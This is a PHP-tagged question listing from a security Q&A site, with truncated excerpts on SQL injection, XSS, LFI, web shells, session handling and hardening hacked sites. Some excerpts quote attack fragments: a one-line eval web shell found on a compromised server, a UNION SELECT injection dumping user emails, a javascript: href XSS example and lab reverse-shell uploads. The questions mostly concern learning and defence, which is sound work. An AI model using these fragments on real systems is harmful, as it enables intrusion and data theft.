Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
0
votes
0answers
20 views

Securly uploading videos in PHP [migrated]

This question is about letting a potentially malicious user upload videos to your site - specifically, handling the file itself. With images, one one simple thing you do (after every other thing is ...
1
vote
0answers
24 views

How does proper use of session.use_only_cookies and session_regenerate_id() cause personal DoS?

From PHP Session Management basics: Proper use of session.use_only_cookies and session_regenerate_id() can cause personal DoS with undeletable cookies set by attackers. In this case, developers may ...
0
votes
0answers
55 views

Exploiting WebDav

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The ...
0
votes
1answer
52 views

DVWA - Converting Local File Inclusion to Remote Code Exploitation

I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
0
votes
2answers
73 views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
0
votes
2answers
107 views

SQL Injection update query

I have a sqli and i can dump data from the DB with the query below func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(uid,':',email,':...
1
vote
1answer
69 views

Meterpreter Session died [Bwapp]

I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my ...
4
votes
3answers
159 views

Break out or bypass php functions

I'm currently doing an online CTF and I have LFI an can read the source code of the upload function. In there I see the following line: shell_exec('rm -rf ' . directory/ . '*.p*'); So anytime I ...
0
votes
1answer
66 views

Security of PHP's str_shuffle()

I'm doing some research on PHP's str_shuffle function, I already asked this question multiply times on StackOverflow but got no answer https://stackoverflow.com/questions/61968859/is-it-possible-to-...
0
votes
0answers
61 views

Sqlmap not detects error based injection

I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
2
votes
1answer
56 views

PHP Blind XXE Exploitation: Invalid URI in Entity

When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs: PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity The ...
0
votes
0answers
21 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
1
vote
1answer
169 views

Local file inclusion in JS app [closed]

I am working on a project which requires the name of the page as a query parameter 'path'. The app stores path variable as res.query.path. My manager asked me to pay attention to LFI, so I'm concerned ...
3
votes
2answers
101 views

Is this method of 32 char hash generation secure enough for online-based attacks?

A fellow developer and I have been having a discussion about how vulnerable a few different methods of developing a hash are, and I've come here to see if smarter people than I (us?) can shed some ...
1
vote
1answer
148 views

Help Understanding PHP Reverse Shells

I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches. For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
1
vote
0answers
56 views

Identifying Source of Malware Attack on Laravel App

We have a Laravel 5.6.x application running as a REST backend with PHP 7 on one of our servers. The server uses CentOS with WHM/cPanel/PhpMyAdmin Recently that server issued a maldet warning (our ...
0
votes
1answer
99 views

Ways to detect CVE-2017-12419 intrusion

I have a free infinityfree.net web server that was vulnerable to CVE-2017-12419 for quite a big window of time. After fixing the gap and changing the passwords, what are some ways to detect if the ...
0
votes
1answer
71 views

Having problems with SQL injection with mysqli extension PHP

I am new to SQL injections, and people on Reddit asked me do the portswigger labs. Which I did up till before 2nd order ones. So I am pretty comfortable with usual SQL injections. Now I have myself ...
0
votes
1answer
29 views

Is there any quick or automated to way to check the version of PHP running on a remote server?

Currently running a vulnerability assessment. However, the IP I was provided is a load balancer and the client only wants to test one of the sites running on the load balancer. The vulnerabilities I ...
1
vote
1answer
136 views

Did PHP's rand() get better?

I know that PHP used the system implementation for its rand() function, which is usually a weak LCG or LFSR implementation. Did this change? In case it still does, I am using Fedora 32. PHP states in ...
0
votes
1answer
130 views

Is my code safe enough to be publish on the server side? [duplicate]

I'm new here to ask a question. Sorry if my question had miss explanation. I just wanna ask if my PHP code is secure enough. Please find below is the source code: Get the ID for choosing the Value ...
2
votes
1answer
86 views

Explaining a bad approach - not comparing hashes

Today I saw a snippet a code for authentication logic : function checkPass($pass, $login){ $inputedPass = $pass; $req = $bdd->prepare('SELECT password FROM agents WHERE password = ...
0
votes
3answers
89 views

Php intermediate shell [closed]

Is there any way that i can use the compromised website as the shell What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...
0
votes
0answers
25 views

How do I go about decoding this malicious PHP script? [duplicate]

I came upon this script just by luck, actually. Ironically, it's stored in a protected folder on my website and I don't think <? $catches ='r'; $comforter ='$r)ciEVi'; $heroin = 'SgD'; $...
0
votes
0answers
22 views

Regenerating CSFR token in AJAX requests

I would like to create a new token for each request and would like to us the following template- <script> var current_token=<?php echo $_SESSION['csrf_token']; ?> $....
1
vote
1answer
258 views

Missing HTTPOnly Cookie Attribute in Laravel 7 [duplicate]

I have a Laravel site, I thought I patched this issue already. I got these in my session.php 'secure' => true, 'http_only' => true, But OpenVas still detected that I still need to it. It ...
0
votes
1answer
60 views

How to secure user folders on the server from the scripts running in other user folder on the same server?

I have a VPS. There is a web-application running on this VPS. A user can log into his account, create a project (the system automatically creates a folder for this project) and then, he can create and ...
0
votes
1answer
143 views

SQL injection and XSS prevention

I would kindly ask you to review the following code and tell me if it's enough to prevent most of SQL injection and XSS attacks. SQL injection: treated via PDO prepared statements; XSS: All user's ...
0
votes
1answer
134 views

I obfuscated my commercial software, i lost source [closed]

A VERY bad problem. I obfuscated my web software with srcProtector and i archieved files, i uploaded a new version of software on the website. The problem is i forgot to copy files in a new path for ...
0
votes
0answers
17 views

How can I prevent my server from receiving requests for a modified application? [duplicate]

I am developing an android application and in the future also for IOS, and I use a server in PHP. Is it possible for my server to know the source of the application sending the requests? For example,...
1
vote
1answer
40 views

What is the best file permission for .user.ini in hosting folder?

My hoster placed a .user.ini in my public_html. What is the recommended file permission be? Now it's 644.
0
votes
2answers
68 views

How to detect malicious files or web shell on a vps web server

How is it possible to detect malicious files or web shell on a vps web server? I used to use a shared hosting, and when I tried to upload any malicious code for testing it got deleted automatically. ...
0
votes
3answers
368 views

All 4 WP sites hosted in A2 Hosting were hacked

The hack redirects all my sites to another site All are running WP 5.4.1 (latest) and I even have a site that barely runs any plugins, just a simple open-source theme with 3 common plugins - Contact ...
1
vote
1answer
217 views

My WP site just got hacked for the third time even after following WP hardening guidelines

After the second hack, we did all the necessary things written here - https://wordpress.org/support/article/hardening-wordpress/ , https://security.stackexchange.com/a/180925 and we also changed the ...
1
vote
1answer
160 views

PHP is prone to an information-disclosure vulnerability

I am looking for help to understand the issue below. OpenVAS finds a vulnerability where it points to PHP versions 5.4.3 and 5.3.13. But the two hosts I checked with OpenVAS, both are with PHP 7.2.x. ...
1
vote
3answers
160 views

Prevent SQL injections on the old PHP website using software

A friend of mine works for a company which owns a 15-ish years old website written in PHP using Apache/MySQL/home brew CMS and outdated hosting on OS Debian 8 "jessie". SSH allows passwords (with no ...
0
votes
0answers
37 views

Unable to exploit SQL injection in the parameter

During my testing I have found a vulnerable parameter in an API (/api/v1/documents/?direction=desc&limit=30&mode=reports**&page=1**) and its parameter is page=1 at the end. Upon giving the ...
0
votes
0answers
60 views

Is XSS possible when using htmlspecialchars and https prefix check in href?

There is a standard XSS exploitation technique where one can use javascript keyword in <a href=""> to execute javascript code. Example: <a href="javascript:alert(42);">please clickme</...
1
vote
0answers
89 views

Is it possible to exploit php curl? [duplicate]

I have been working on a project and I wonder if it's possible to exploit curl_exec function while in PHP. Scenario: I have the PHP script that checks a domain for me, but the curl is not secured, ...
0
votes
1answer
27 views

How to find PHP filename and ID of the URL?

.htaccess is now a very common URL rewrite to make it SEO friendly and cover the database IDs. What are the ways to explore php file on the server given to URL via .htaccess? Example : The URL is ...
0
votes
1answer
54 views

Am I missing something in regards to using third-party PHP libraries? [duplicate]

I "minimally trust" the PHP and PostgreSQL projects to provide non-compromised binaries of their respective programs, which I both depend on. This means that I trust them in the sense that I have no ...
26
votes
12answers
7k views

Why are stored procedures and prepared statements the preferred modern methods for preventing SQL Injection over mysql real escape string() function

Why are stored procedures and prepared statements the preferred modern methods for preventing SQL Injection over mysql_real_escape_string() function?
1
vote
0answers
30 views

Is there such a thing as “parameterized terminal commands”?

Long ago, I used to do SQL queries like: SELECT * FROM table WHERE id = ' . attempt_to_escape($_GET['id']) . ' ORDER BY timestamp DESC LIMIT 1; This was horribly scary and I probably messed it up by ...
-4
votes
3answers
63 views

Why is using prepared statements in PHP considered best practice?

Let me first start by stating that I am by no means a webdeveloper, so please do point out if I'm going in the wrong somewhere in my story. I think most people agree with the idea that using prepared ...
1
vote
0answers
136 views

What is the approach to working on this?

I have a question I am working on with regards to PHP vulnerability. Below is the code snippet. Basically, I need to print the contents of get_flag.php. My train of thoughts is that the following ...
0
votes
2answers
61 views

Is it safe to save a user's email into php session variable for later use?

I'm in the process of creating a password reset functionality for my project. I currently have my website send a password reset link to the user's email if they request it and validates the link ...
0
votes
2answers
315 views

Installing xampp on virtual box?

I started learning PHP and I wanted to practice PHP code using xampp or wamp server. But after reading this and doing some google research,I thought that installing server software on my home pc ...
3
votes
3answers
160 views

Is SQL injection still a bad thing if the user is restricted to non-harmful queries?

Suppose I have a very simple PHP application that acts as a front-end for an SQL database. The user enters their query into a box, and the app shows the query results in a table. To prevent a user ...
0
votes
0answers
102 views

How to bypass origin based csrf protection?

I'm trying to do some csrf attack test on a site. I found that the site protect itself from csrf by checking the http Origin header. But I guess maybe under some conditions I can bypass the ...
1
vote
1answer
87 views

CVE-2020-5250 php vulnerability analysis

I am exploring the vulnerability (CVE-2020-5250) found in PrestaShop software versions <1.7.6.4. Could somebody explain how (with which method) was the program exactly exploitable? And why is the ...

1
2 3 4 5
30